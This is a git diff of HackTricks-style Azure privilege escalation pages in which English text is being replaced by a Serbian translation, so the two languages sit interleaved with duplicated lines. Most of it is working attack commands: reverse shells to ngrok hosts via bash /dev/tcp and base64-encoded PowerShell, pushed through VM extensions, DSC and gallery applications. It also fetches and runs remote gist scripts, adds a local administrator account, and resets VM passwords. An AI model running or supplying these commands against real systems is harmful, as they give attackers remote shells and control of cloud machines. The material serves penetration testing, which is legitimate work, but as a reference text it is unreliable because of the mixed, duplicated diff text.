With these permissions, an attacker can restore a deleted Azure file share by specifying its deleted version ID. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access.
|
||||
|
||||
Sa ovim dozvolama, napadač može da vrati obrisanu Azure datoteku tako što će navesti njen ID obrisane verzije. Ova eskalacija privilegija može omogućiti napadaču da povrati osetljive podatke koji su trebali biti trajno obrisani, što može dovesti do neovlašćenog pristupa.
|
||||
```bash
|
||||
az storage share-rm restore \
|
||||
--storage-account <STORAGE_ACCOUNT_NAME> \
|
||||
--name <FILE_SHARE_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
--storage-account <STORAGE_ACCOUNT_NAME> \
|
||||
--name <FILE_SHARE_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
```
|
||||
## Ostale zanimljive dozvole (TODO)
|
||||
|
||||
## Other interesting looking permissions (TODO)
|
||||
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Changes ownership of the blob
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifies permissions of the blob
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Returns the result of the blob command
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Menja vlasništvo nad blob-om
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Menja dozvole blob-a
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Vraća rezultat komande blob-a
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage)
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## VMS & Network
|
||||
|
||||
For more info about Azure Virtual Machines and Network check:
|
||||
Za više informacija o Azure Virtuelnim Mašinama i Mreži pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
@@ -12,14 +12,13 @@ For more info about Azure Virtual Machines and Network check:
|
||||
|
||||
### **`Microsoft.Compute/virtualMachines/extensions/write`**
|
||||
|
||||
This permission allows to execute extensions in virtual machines which allow to **execute arbitrary code on them**.\
|
||||
Example abusing custom extensions to execute arbitrary commands in a VM:
|
||||
Ova dozvola omogućava izvršavanje ekstenzija u virtuelnim mašinama koje omogućavaju **izvršavanje proizvoljnog koda na njima**.\
|
||||
Primer zloupotrebe prilagođenih ekstenzija za izvršavanje proizvoljnih komandi u VM:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
- Execute a revers shell
|
||||
|
||||
- Izvrši reverznu ljusku
|
||||
```bash
|
||||
# Prepare the rev shell
|
||||
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
|
||||
@@ -27,120 +26,108 @@ YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
|
||||
|
||||
# Execute rev shell
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
```
|
||||
|
||||
- Execute a script located on the internet
|
||||
|
||||
- Izvršite skriptu koja se nalazi na internetu
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
|
||||
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
|
||||
--resource-group rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
|
||||
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
- Execute a reverse shell
|
||||
|
||||
- Izvršite obrnuti shell
|
||||
```bash
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
|
||||
# Execute it
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
|
||||
- Execute reverse shell from file
|
||||
|
||||
- Izvrši reverznu ljusku iz datoteke
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
```
|
||||
Možete takođe izvršiti druge payload-ove kao što su: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- Reset password using the VMAccess extension
|
||||
|
||||
- Resetovanje lozinke koristeći VMAccess ekstenziju
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
It's also possible to abuse well-known extensions to execute code or perform privileged actions inside the VMs:
|
||||
Takođe je moguće zloupotrebiti poznate ekstenzije za izvršavanje koda ili obavljanje privilegovanih akcija unutar VM-ova:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>VMAccess extension</summary>
|
||||
|
||||
This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.
|
||||
<summary>VMAccess ekstenzija</summary>
|
||||
|
||||
Ova ekstenzija omogućava modifikaciju lozinke (ili kreiranje ako ne postoji) korisnika unutar Windows VM-ova.
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension:
|
||||
|
||||
Ovo je **VM ekstenzija** koja pripada Microsoftu i koristi PowerShell DSC za upravljanje konfiguracijom Azure Windows VM-ova. Stoga se može koristiti za **izvršavanje proizvoljnih komandi** u Windows VM-ovima putem ove ekstenzije:
|
||||
```powershell
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
Node localhost {
|
||||
Script ReverseShell {
|
||||
GetScript = { @{} }
|
||||
SetScript = {
|
||||
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
|
||||
$sendback = (iex $data 2>&1 | Out-String );
|
||||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
$stream.Write($sendbyte, 0, $sendbyte.Length)
|
||||
}
|
||||
$client.Close()
|
||||
}
|
||||
TestScript = { return $false }
|
||||
}
|
||||
}
|
||||
Node localhost {
|
||||
Script ReverseShell {
|
||||
GetScript = { @{} }
|
||||
SetScript = {
|
||||
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
|
||||
$sendback = (iex $data 2>&1 | Out-String );
|
||||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
$stream.Write($sendbyte, 0, $sendbyte.Length)
|
||||
}
|
||||
$client.Close()
|
||||
}
|
||||
TestScript = { return $false }
|
||||
}
|
||||
}
|
||||
}
|
||||
RevShellConfig -OutputPath .\Output
|
||||
|
||||
@@ -148,95 +135,91 @@ RevShellConfig -OutputPath .\Output
|
||||
$resourceGroup = 'dscVmDemo'
|
||||
$storageName = 'demostorage'
|
||||
Publish-AzVMDscConfiguration `
|
||||
-ConfigurationPath .\revShell.ps1 `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-StorageAccountName $storageName `
|
||||
-Force
|
||||
-ConfigurationPath .\revShell.ps1 `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-StorageAccountName $storageName `
|
||||
-Force
|
||||
|
||||
# Apply DSC to VM and execute rev shell
|
||||
$vmName = 'myVM'
|
||||
Set-AzVMDscExtension `
|
||||
-Version '2.76' `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-VMName $vmName `
|
||||
-ArchiveStorageAccountName $storageName `
|
||||
-ArchiveBlobName 'revShell.ps1.zip' `
|
||||
-AutoUpdate `
|
||||
-ConfigurationName 'RevShellConfig'
|
||||
-Version '2.76' `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-VMName $vmName `
|
||||
-ArchiveStorageAccountName $storageName `
|
||||
-ArchiveBlobName 'revShell.ps1.zip' `
|
||||
-AutoUpdate `
|
||||
-ConfigurationName 'RevShellConfig'
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
|
||||
This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-services/az-automation-account/).
|
||||
Ovo je VM ekstenzija koja bi omogućila izvršavanje runbook-ova u VM-ovima iz automatskog naloga. Za više informacija pogledajte [Automation Accounts service](../az-services/az-automation-account/).
|
||||
|
||||
</details>
|
||||
|
||||
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
|
||||
|
||||
These are the required permissions to **create a new gallery application and execute it inside a VM**. Gallery applications can execute anything so an attacker could abuse this to compromise VM instances executing arbitrary commands.
|
||||
Ovo su potrebne dozvole za **kreiranje nove galerijske aplikacije i izvršavanje unutar VM-a**. Galerijske aplikacije mogu izvršavati bilo šta, tako da bi napadač mogao zloupotrebiti ovo da kompromituje VM instance izvršavajući proizvoljne komande.
|
||||
|
||||
The last 2 permissions might be avoided by sharing the application with the tenant.
|
||||
Poslednje 2 dozvole mogu se izbeći deljenjem aplikacije sa zakupcem.
|
||||
|
||||
Exploitation example to execute arbitrary commands:
|
||||
Primer eksploatacije za izvršavanje proizvoljnih komandi:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group myResourceGroup \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Linux \
|
||||
--location "West US 2"
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Linux \
|
||||
--location "West US 2"
|
||||
|
||||
# Create app version with the rev shell
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.2 \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
|
||||
--version-name 1.0.2 \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group <rsc-group> \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Windows \
|
||||
--location "West US 2"
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Windows \
|
||||
--location "West US 2"
|
||||
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
@@ -245,59 +228,55 @@ echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",1
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.0 \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--update-command "powershell.exe -EncodedCommand $encodedCommand"
|
||||
--version-name 1.0.0 \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--update-command "powershell.exe -EncodedCommand $encodedCommand"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name deleteme-win4 \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
|
||||
--treat-deployment-as-failure true
|
||||
--resource-group <rsc-group> \
|
||||
--name deleteme-win4 \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/runCommand/action`
|
||||
|
||||
This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs:**
|
||||
Ovo je najosnovniji mehanizam koji Azure pruža za **izvršavanje proizvoljnih komandi u VM-ovima:**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
